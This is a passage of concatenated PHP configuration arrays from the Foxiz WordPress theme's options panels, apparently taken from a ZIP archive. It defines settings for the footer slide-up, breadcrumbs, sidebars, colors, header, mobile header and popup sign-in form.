=> array( array( 'id' => 'footer_slide_up', 'type' => 'switch', 'title' => esc_html__( 'Footer Slide Up Section', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the footer slide up section.', 'foxiz' ), 'default' => '0' ), array( 'id' => 'slide_up_shortcode', 'type' => 'textarea', 'title' => esc_html__( 'Slide Up Template Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input a template shortcode or any other shortcode you would like to show in this section.', 'foxiz' ), 'placeholder' => esc_html__( '[Ruby_E_Template id="1"]', 'foxiz' ), 'rows' => '3', ), array( 'id' => 'slide_up_expired', 'type' => 'select', 'title' => esc_html__( 'Side Up Expired', 'foxiz' ), 'subtitle' => esc_html__( 'The period to redisplay the popup when visitors closed it.', 'foxiz' ), 'options' => array( '1' => esc_html__( '1 Day', 'foxiz' ), '2' => esc_html__( '2 Days', 'foxiz' ), '3' => esc_html__( '3 Days', 'foxiz' ), '7' => esc_html__( '1 Week', 'foxiz' ), '14' => esc_html__( '2 Weeks', 'foxiz' ), '21' => esc_html__( '3 Weeks', 'foxiz' ), '30' => esc_html__( '1 Month', 'foxiz' ), '-1' => esc_html__( 'Always Display', 'foxiz' ), ), 'default' => 1 ), array( 'id' => 'slide_up_delay', 'type' => 'text', 'title' => esc_html__( 'Delay Time', 'foxiz' ), 'subtitle' => esc_html__( 'Input a delay time (ms) value to show the slide up after the site loaded.', 'foxiz' ), 'default' => '' ), array( 'id' => 'slide_up_bg', 'title' => esc_html__( 'Slide Up Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background for this section.', 'foxiz' ), 'type' => 'color_rgba', ), array( 'id' => 'dark_slide_up_bg', 'title' => esc_html__( 'Dark Mode - Slide Up Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background for this section in the dark mode.', 'foxiz' ), 'type' => 'color_rgba', ), array( 'id' => 'slide_up_icon_color', 'title' => esc_html__( 'Button Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the slide up toggle button when activated.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_slide_up_icon_color', 'title' => esc_html__( 'Dark Mode - Button Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the slide up toggle button when activated in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'slide_up_na_icon_color', 'title' => esc_html__( 'Not Activate - Button Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the slide up toggle button when not activated.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'slide_up_na_icon_bg', 'title' => esc_html__( 'Not Activate - Button Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the slide up toggle button when not activated.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), ) ); } }PK!ĩZZpanels/breadcrumb.phpnu[ esc_html__( 'Breadcrumb Bar', 'foxiz' ), 'id' => 'foxiz_config_section_breadcrumb', 'desc' => esc_html__( 'The theme supports Navxt plugin Yoast SEO and Rank Math SEO breadcrumbs.', 'foxiz' ), 'icon' => 'el el-random', 'fields' => array( array( 'id' => 'section_start_breadcrumb_global', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Global Setting', 'foxiz' ), 'subtitle' => esc_html__( 'These settings below require to activate Navxt plugin Yoast SEO and Rank Math SEO breadcrumbs in order to work.', 'foxiz' ), 'indent' => true ), array( 'id' => 'breadcrumb', 'type' => 'switch', 'title' => esc_html__( 'Breadcrumb Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the breadcrumb bar for your website.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'section_end_breadcrumb_global', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_page_breadcrumb', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Page Breadcrumbs', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_breadcrumb', 'title' => esc_html__( 'Single Post Breadcrumb', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the breadcrumb bar in the single post.', 'foxiz' ), 'type' => 'select', 'options' => array( '1' => esc_html__( 'Use Global Setting', 'foxiz' ), '0' => esc_html__( 'Disable', 'foxiz' ), ), 'default' => '1' ), array( 'id' => 'single_page_breadcrumb', 'title' => esc_html__( 'Single Page Breadcrumb', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the breadcrumb bar in the single page.', 'foxiz' ), 'type' => 'select', 'options' => array( '1' => esc_html__( 'Use Global Setting', 'foxiz' ), '0' => esc_html__( 'Disable', 'foxiz' ), ), 'default' => '0' ), array( 'id' => 'category_breadcrumb', 'title' => esc_html__( 'Category Breadcrumb', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the breadcrumb in the category pages.', 'foxiz' ), 'type' => 'select', 'options' => array( '1' => esc_html__( 'Use Global Setting', 'foxiz' ), '0' => esc_html__( 'Disable', 'foxiz' ), ), 'default' => '1' ), array( 'id' => 'author_breadcrumb', 'title' => esc_html__( 'Author Breadcrumb', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the breadcrumb in the author pages.', 'foxiz' ), 'type' => 'select', 'options' => array( '1' => esc_html__( 'Use Global Setting', 'foxiz' ), '0' => esc_html__( 'Disable', 'foxiz' ), ), 'default' => '1' ), array( 'id' => 'archive_breadcrumb', 'title' => esc_html__( 'Archive Breadcrumb', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the breadcrumb in the archive pages.', 'foxiz' ), 'type' => 'select', 'options' => array( '1' => esc_html__( 'Use Global Setting', 'foxiz' ), '0' => esc_html__( 'Disable', 'foxiz' ), ), 'default' => '1' ), array( 'id' => 'section_end_page_breadcrumb', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ), ); } }PK!($9; ; panels/sidebar.phpnu[ 'foxiz_theme_ops_section_sidebar', 'title' => esc_html__( 'Sidebar Area', 'foxiz' ), 'desc' => esc_html__( 'Select settings for your website sidebars, The settings below apply to all sidebars.', 'foxiz' ), 'icon' => 'el el-align-right', 'fields' => array( array( 'id' => 'multi_sidebar_notice', 'type' => 'info', 'style' => 'warning', 'desc' => esc_html__( 'Refresh your browser after creating new sidebars to update your changes.', 'foxiz' ), ), array( 'id' => 'widget_heading_layout_notice', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'To edit the widget heading layout, navigate to "Heading Design > Sidebar Widget Heading".', 'foxiz' ), ), array( 'id' => 'global_sidebar_position', 'type' => 'image_select', 'title' => esc_html__( 'Global Sidebar Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select the default sidebar position for your website.', 'foxiz' ), 'description' => esc_html__( 'This is the global option and will be overridden by individual "Sidebar Position" settings.', 'foxiz' ), 'options' => foxiz_config_sidebar_position( false ), 'default' => 'right' ), array( 'id' => 'multi_sidebars', 'type' => 'multi_text', 'class' => 'medium-text', 'show_empty' => false, 'title' => esc_html__( 'Unlimited Sidebars', 'foxiz' ), 'label' => esc_html__( 'Add a Sidebar ID', 'foxiz' ), 'subtitle' => esc_html__( 'Create new or delete exist sidebars.', 'foxiz' ), 'desc' => esc_html__( 'Click on the "Create Sidebar" button, then input a name/ID (without special charsets and spacing) into the field to create a new sidebar.', 'foxiz' ), 'add_text' => esc_html__( 'Click then Input ID to Create a Sidebar', 'foxiz' ), 'default' => array(), ), array( 'id' => 'sticky_sidebar', 'type' => 'switch', 'title' => esc_html__( 'Sticky Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Making sidebars permanently visible when scrolling up and down.', 'foxiz' ), 'description' => esc_html__( 'Useful when a sidebar is too tall or too short compared to the rest of the content.', 'foxiz' ), 'default' => '0' ), array( 'id' => 'widget_block_editor', 'type' => 'switch', 'title' => esc_html__( 'Widget Block Editor', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable widget block editor (WordPress 5.8 or above).', 'foxiz' ), 'default' => 0 ), ) ); } }PK!tpanels/color.phpnu[ 'foxiz_config_section_color', 'title' => esc_html__( 'Global Colors', 'foxiz' ), 'desc' => esc_html__( 'Select colors for your website. To organize the panel and make it easy to use, you may also see color settings for each elements in it\'s panel.', 'foxiz' ), 'icon' => 'el el-tint', 'fields' => array( array( 'id' => 'section_start_global_color', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Highlight Colors', 'foxiz' ), 'indent' => true ), array( 'id' => 'global_color', 'title' => esc_html__( 'Global Highlight Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a global color, This setting apply to all links, menu, category overlays, main page and many contrasting elements.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_global_color', 'title' => esc_html__( 'Dark Mode - Global Highlight Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a global color in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'section_end_global_color', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_accent_color', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Dark Accent Colors', 'foxiz' ), 'indent' => true ), array( 'id' => 'accent_color', 'title' => esc_html__( 'Dark Accent Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a dark accent color for your website, This setting apply to single header background, gradient colors.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_accent_color', 'title' => esc_html__( 'Dark Mode - Dark Accent Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select dark accent color in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'section_end_accent_color', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_dark_bg_color', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Dark Mode Colors', 'foxiz' ), 'indent' => true ), array( 'id' => 'dark_background', 'title' => esc_html__( 'Dark Mode Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a dark solid background for the dark mode. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'light_switcher_color', 'title' => esc_html__( 'Mode Switcher - Light Icon Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the light mode icon (Sun icon) of the dark mode switcher button to fit with the main navigation color.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_switcher_bg', 'title' => esc_html__( 'Mode Switcher - Dark Icon Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background for the dark mode icon (Moon icon) of the dark mode switcher button to fit with the main navigation color.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'section_end_dark_bg_color', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_miscellaneous_color', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Miscellaneous', 'foxiz' ), 'indent' => true ), array( 'id' => 'excerpt_color', 'title' => esc_html__( 'Excerpt Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for post excerpt text.', 'foxiz' ), 'description' => esc_html__( 'This setting will apply to the default mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'review_color', 'title' => esc_html__( 'Review Star Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color value for the star icons.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'breadcrumb_color', 'title' => esc_html__( 'Breadcrumb Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the breadcrumb bar.', 'foxiz' ), 'description' => esc_html__( 'This setting will apply to the default mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'section_end_miscellaneous_color', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } PK! oopanels/header.phpnu[ 'foxiz_config_section_header', 'title' => esc_html__( 'Header', 'foxiz' ), 'desc' => esc_html__( 'Select options for your website header.', 'foxiz' ), 'icon' => 'el el-th' ); } } if ( ! function_exists( 'foxiz_register_options_header_general' ) ) { /** * @return array */ function foxiz_register_options_header_general() { return array( 'id' => 'foxiz_config_section_header_general', 'title' => esc_html__( 'General', 'foxiz' ), 'icon' => 'el el-cog', 'subsection' => true, 'desc' => esc_html__( 'Select the style and other settings for your website header.', 'foxiz' ), 'fields' => array( array( 'id' => 'section_start_header_style', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Global Site Header', 'foxiz' ), 'subtitle' => array( esc_html__( 'The global settings will apply whole the website.', 'foxiz' ), esc_html__( 'Select "Use Ruby Template" under the "Global Header Style" setting if you use Ruby Template shortcode.', 'foxiz' ), ), 'indent' => true ), array( 'id' => 'header_style', 'type' => 'select', 'title' => esc_html__( 'Global Header Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select the global header style for your website header.', 'foxiz' ), 'options' => foxiz_config_header_style( false, false, true ), 'description' => esc_html__( 'Please select setting panel corresponding to the layout you choose for setting up background, color and other settings.', 'foxiz' ), 'default' => '1' ), array( 'id' => 'header_template', 'type' => 'textarea', 'title' => esc_html__( 'Global Header Template Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input a Ruby Template shortcode for displaying as the website header.', 'foxiz' ), 'description' => esc_html__( 'This setting requires to set "Use Ruby Template" in the setting above in order to work.', 'foxiz' ), 'placeholder' => esc_html__( '[Ruby_E_Template id="1"]', 'foxiz' ), 'rows' => 2, 'default' => '' ), array( 'id' => 'section_end_header_style', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_header_sticky', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Sticky Menu', 'foxiz' ), 'indent' => true ), array( 'id' => 'sticky', 'type' => 'switch', 'title' => esc_html__( 'Sticky Menu', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the sticky feature for the main menu bar.', 'foxiz' ), 'default' => '0' ), array( 'id' => 'smart_sticky', 'type' => 'switch', 'title' => esc_html__( 'Smart Sticky', 'foxiz' ), 'subtitle' => esc_html__( 'Only stick the main menu when scrolling up.', 'foxiz' ), 'default' => '0' ), array( 'id' => 'section_end_header_sticky', 'type' => 'section', 'class' => 'no-border ruby-section-end', 'indent' => false ) ) ); } } if ( ! function_exists( 'foxiz_register_options_header_more' ) ) { /** * @return array */ function foxiz_register_options_header_more() { return array( 'id' => 'foxiz_config_section_header_more', 'title' => esc_html__( 'More Menu Item', 'foxiz' ), 'icon' => 'el el-braille', 'subsection' => true, 'desc' => esc_html__( 'Select options for the more menu and enable/disable it for each header style.', 'foxiz' ), 'fields' => array( array( 'id' => 'info_more_section', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'To add column widgets, navigate to "Dashboard > Appearance > Widgets > More Menu Section". Please read the documentation for further information.', 'foxiz' ), ), array( 'id' => 'more_column', 'type' => 'select', 'title' => esc_html__( 'Columns per Row', 'foxiz' ), 'subtitle' => esc_html__( 'Select columns per row for this section.', 'foxiz' ), 'description' => esc_html__( 'Each widget is added in "Appearance >Widgets > More Menu Section" will be corresponding to a column.', 'foxiz' ), 'options' => array( '2' => esc_html__( '2 Columns', 'foxiz' ), '3' => esc_html__( '3 Columns', 'foxiz' ), '4' => esc_html__( '4 Columns', 'foxiz' ), '5' => esc_html__( '5 Columns', 'foxiz' ) ), 'default' => '3' ), array( 'id' => 'more_width', 'type' => 'text', 'class' => 'small-text', 'title' => esc_html__( 'Section Width', 'foxiz' ), 'subtitle' => esc_html__( 'Input a width value (in px) for this section. Leave blank to set a the default.', 'foxiz' ), 'default' => '' ), array( 'id' => 'more_footer_menu', 'type' => 'select', 'options' => foxiz_config_menu_slug(), 'title' => esc_html__( 'Footer Menu', 'foxiz' ), 'subtitle' => esc_html__( 'Select a footer menu to display at the bottom of this section.', 'foxiz' ), 'default' => '' ), array( 'id' => 'more_footer_copyright', 'type' => 'textarea', 'title' => esc_html__( 'Footer Copyright', 'foxiz' ), 'subtitle' => esc_html__( 'Input the footer copyright text to display at the bottom of this section, allow raw HTML.', 'foxiz' ), 'default' => '' ) ) ); } } if ( ! function_exists( 'foxiz_register_options_header_search' ) ) { /** * @return array */ function foxiz_register_options_header_search() { return array( 'id' => 'foxiz_config_section_header_search', 'title' => esc_html__( 'Header Search', 'foxiz' ), 'icon' => 'el el-search', 'subsection' => true, 'desc' => esc_html__( 'Select settings for search form to display in the website header.', 'foxiz' ), 'fields' => array( array( 'id' => 'info_search_placeholder', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'To edit the placeholder text of the search form, navigate to "Theme Options > General > Search Placeholder".', 'foxiz' ), ), array( 'id' => 'header_search_heading', 'type' => 'text', 'title' => esc_html__( 'Search Heading', 'foxiz' ), 'subtitle' => esc_html__( 'Input a heading for displaying above the search form.', 'foxiz' ), 'description' => esc_html__( 'The heading will show in the "More" section and "Mobile Header Collapse" section.', 'foxiz' ), 'default' => esc_html__( 'Search', 'foxiz' ) ), array( 'id' => 'header_search_icon', 'type' => 'switch', 'title' => esc_html__( 'Header Search Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the search icon in the header.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'header_search_mode', 'type' => 'select', 'title' => esc_html__( 'Toggle Mode', 'foxiz' ), 'subtitle' => esc_html__( 'Select mode for the search button when clicking on.', 'foxiz' ), 'description' => esc_html__( 'Ensure the option "More Menu - Search Form" is enabled when you select the "More Menu Triggered" option.', 'foxiz' ), 'options' => array( 'search' => esc_html__( 'Standard Search Form', 'foxiz' ), 'more' => esc_html__( 'More Menu Triggered', 'foxiz' ) ), 'default' => 'search' ), array( 'id' => 'ajax_search', 'type' => 'switch', 'title' => esc_html__( 'Live Search Result', 'foxiz' ), 'subtitle' => esc_html__( 'Enable live search result when typing.', 'foxiz' ), 'default' => 0 ), array( 'id' => 'more_search', 'type' => 'switch', 'title' => esc_html__( 'More Menu - Search Form', 'foxiz' ), 'subtitle' => esc_html__( 'Show search form at the top of the more section.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'header_search_custom_icon', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Custom Search SVG', 'foxiz' ), 'subtitle' => esc_html__( 'Override default search icon with a SVG icon.', 'foxiz' ), ), array( 'id' => 'mobile_search', 'type' => 'switch', 'title' => esc_html__( 'Mobile Header - Search Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable search icon in the mobile header.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'mobile_amp_search', 'type' => 'switch', 'title' => esc_html__( 'AMP Header - Search Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable search icon the AMP header.', 'foxiz' ), 'default' => 1 ) ) ); } } if ( ! function_exists( 'foxiz_register_options_header_notification' ) ) { /** * @return array */ function foxiz_register_options_header_notification() { return array( 'id' => 'foxiz_config_section_header_notification', 'title' => esc_html__( 'Notification', 'foxiz' ), 'icon' => 'el el-bell', 'subsection' => true, 'desc' => esc_html__( 'This section will show the user bookmark list and latest blog listing.', 'foxiz' ), 'fields' => array( array( 'id' => 'header_notification', 'type' => 'switch', 'title' => esc_html__( 'Notification Section', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the notification section on the header.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'header_notification_url', 'type' => 'text', 'title' => esc_html__( 'Destination Link', 'foxiz' ), 'subtitle' => esc_html__( 'Input a destination URL for the notification panel.', 'foxiz' ), 'default' => '#' ), array( 'id' => 'header_notification_scheme', 'type' => 'select', 'title' => esc_html__( 'Text Color Scheme', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color scheme to fit with the sub menu background.', 'foxiz' ), 'description' => esc_html__( 'Ensure this section set to Light Text if you select a dark sub-menu background.', 'foxiz' ), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz' ), '1' => esc_html__( 'Light Text', 'foxiz' ) ), 'default' => 0 ), ) ); } } if ( ! function_exists( 'foxiz_register_options_header_mobile' ) ) { /** * @return array */ function foxiz_register_options_header_mobile() { return array( 'id' => 'foxiz_config_section_header_mobile', 'title' => esc_html__( 'Mobile Header', 'foxiz' ), 'icon' => 'el el-iphone-home', 'subsection' => true, 'desc' => esc_html__( 'The settings below apply to the mobile header.', 'foxiz' ), 'fields' => array( array( 'id' => 'info_mobile_navbar_typo', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'To edit the typography, navigate to "Typography > Menu > Mobile Menu Settings". Navigate to "Social Profiles" for the social list.', 'foxiz' ), ), array( 'id' => 'info_mobile_header_color', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'Color settings will apply to the tablet and mobile header. Leave blank to set as the desktop navigation colors.', 'foxiz' ), ), array( 'id' => 'info_mobile_header_dark_color', 'type' => 'info', 'style' => 'warning', 'desc' => esc_html__( 'Ensure you have also set "Dark Mode Colors" if you use custom colors for the default mode.', 'foxiz' ), ), array( 'id' => 'section_start_mh_layout', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Mobile Header Style', 'foxiz' ), 'subtitle' => esc_html__( 'The center logo style is best suited for small width logos.', 'foxiz' ), 'indent' => true ), array( 'id' => 'mh_layout', 'type' => 'select', 'title' => esc_html__( 'Mobile Header Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the mobile header.', 'foxiz' ), 'options' => array( '0' => esc_html__( 'Left Logo', 'foxiz' ), '1' => esc_html__( 'Center Logo', 'foxiz' ), '2' => esc_html__( 'Left Logo 2', 'foxiz' ), ), 'default' => 0 ), array( 'id' => 'mobile_height', 'type' => 'text', 'class' => 'small-text', 'title' => esc_html__( 'Mobile Navigation Height', 'foxiz' ), 'subtitle' => esc_html__( 'Input a custom height value for the mobile navigation, Default is 40px.', 'foxiz' ), 'default' => '' ), array( 'id' => 'section_end_mh_layout', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_mobile_collapse', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Collapse Section', 'foxiz' ), 'indent' => true ), array( 'id' => 'mobile_social', 'type' => 'switch', 'title' => esc_html__( 'Socials List', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the socials list.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'mobile_footer_menu', 'type' => 'select', 'options' => foxiz_config_menu_slug(), 'title' => esc_html__( 'Footer Menu', 'foxiz' ), 'subtitle' => esc_html__( 'Select a footer menu to display at the bottom of this section.', 'foxiz' ), 'default' => '' ), array( 'id' => 'mobile_copyright', 'type' => 'textarea', 'title' => esc_html__( 'Footer Copyright', 'foxiz' ), 'subtitle' => esc_html__( 'Input the footer copyright text to display at the bottom of this section, allow raw HTML.', 'foxiz' ), 'default' => '' ), array( 'id' => 'section_end_mobile_collapse', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_mh_colors', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Mobile Header Colors', 'foxiz' ), 'indent' => true ), array( 'id' => 'mobile_background', 'type' => 'color_gradient', 'title' => esc_html__( 'Header Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the mobile navigation bar and quick view mobile menu.', 'foxiz' ), 'description' => esc_html__( 'use the option "To" to set a gradient background.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '', 'to' => '', ), ), array( 'id' => 'mobile_color', 'title' => esc_html__( 'Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for toggle button, search, quick view menu for displaying on the mobile header.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'mobile_sub_background', 'type' => 'color_gradient', 'title' => esc_html__( 'Collapse Section Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the collapse section.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '', 'to' => '', ), ), array( 'id' => 'mobile_sub_color', 'title' => esc_html__( 'Collapse Section - Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for menu item, sub menu item and other elements for displaying in the collapse section.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'section_end_mh_colors', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_mh_dark_colors', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Dark Mode Colors', 'foxiz' ), 'indent' => true ), array( 'id' => 'dark_mobile_background', 'type' => 'color_gradient', 'title' => esc_html__( 'Header Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the mobile navigation bar and quick view mobile menu in the dark mode.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '', 'to' => '', ), ), array( 'id' => 'dark_mobile_color', 'title' => esc_html__( 'Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for toggle button, search, quick view menu for displaying on the mobile header in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_mobile_sub_background', 'type' => 'color_gradient', 'title' => esc_html__( 'Collapse Section Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the collapse section in the dark mode.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '', 'to' => '', ), ), array( 'id' => 'dark_mobile_sub_color', 'title' => esc_html__( 'Collapse Section - Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for menu item, sub menu item and other elements for displaying in the collapse section in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'section_end_mh_dark_colors', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ) ) ); } } if ( ! function_exists( 'foxiz_register_options_header_login' ) ) { /** * @return array */ function foxiz_register_options_header_login() { return array( 'id' => 'foxiz_config_section_header_login', 'title' => esc_html__( 'Popup Sign In', 'foxiz' ), 'icon' => 'el el-user', 'desc' => esc_html__( 'Select settings for the popup sign in form.', 'foxiz' ), 'subsection' => true, 'fields' => array( array( 'id' => 'login_popup_info', 'type' => 'info', 'style' => 'warning', 'desc' => esc_html__( 'Redirect links should be inner links.', 'foxiz' ), ), array( 'id' => 'header_login_icon', 'type' => 'switch', 'title' => esc_html__( 'Sign In', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the sign in button on the header.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'mobile_login', 'type' => 'switch', 'title' => esc_html__( 'Mobile Header - Sign In', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the sign in button on the mobile header.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'header_login_layout', 'type' => 'select', 'title' => esc_html__( 'Trigger Button Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the sign in trigger button.', 'foxiz' ), 'options' => array( '0' => esc_html__( 'Icon', 'foxiz' ), '1' => esc_html__( 'Text Button', 'foxiz' ) ), 'default' => '0' ), array( 'id' => 'header_login_heading', 'type' => 'text', 'title' => esc_html__( 'Form Heading', 'foxiz' ), 'subtitle' => esc_html__( 'Input a heading for the login form.', 'foxiz' ), 'default' => esc_html__( 'Welcome Back!', 'foxiz' ) ), array( 'id' => 'header_login_description', 'type' => 'text', 'title' => esc_html__( 'Form Description', 'foxiz' ), 'subtitle' => esc_html__( 'Input a description for the login form. Leave blank to set it as the default.', 'foxiz' ), 'default' => esc_html__( 'Sign in to your account', 'foxiz' ) ), array( 'id' => 'header_login_logo', 'type' => 'media', 'title' => esc_html__( 'Form Logo', 'foxiz' ), 'subtitle' => esc_html__( 'Adding a custom logo for the login form. Leave blank to set it as the default.', 'foxiz' ), 'url' => true, 'preview' => true, ), array( 'id' => 'header_login_dark_logo', 'type' => 'media', 'title' => esc_html__( 'Dark Mode - Form Logo', 'foxiz' ), 'subtitle' => esc_html__( 'Adding a custom logo for the login form in the dark mode.', 'foxiz' ), 'url' => true, 'preview' => true, ), array( 'id' => 'header_login_redirect', 'type' => 'text', 'title' => esc_html__( 'Login Redirect URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input a redirect URL when the user logged in.', 'foxiz' ), 'default' => '', ), array( 'id' => 'header_login_register', 'type' => 'text', 'title' => esc_html__( 'Custom Register URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input a custom register URL if have.', 'foxiz' ), 'default' => '', ), array( 'id' => 'header_login_forget', 'type' => 'text', 'title' => esc_html__( 'Custom Forget Password URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input a custom forget password URL if have.', 'foxiz' ), 'default' => '', ), array( 'id' => 'header_login_menu', 'type' => 'select', 'title' => esc_html__( 'User Dashboard Menu', 'foxiz' ), 'subtitle' => esc_html__( 'Assign a menu for displaying when hovering on the login icon if user logged.', 'foxiz' ), 'options' => foxiz_config_menu_slug(), 'placeholder' => esc_html__( '- Assign a Menu -', 'foxiz' ), 'default' => '', ), array( 'id' => 'header_logout_redirect', 'type' => 'text', 'title' => esc_html__( 'Logout Redirect URL', 'foxiz' ), 'subtitle' => esc_html__( 'Redirect to this link after successful logout.', 'foxiz' ), 'description' => esc_html__( 'This setting apply to the logout button in the logged user dropdown.', 'foxiz' ), 'default' => '' ), ) ); } } if ( ! function_exists( 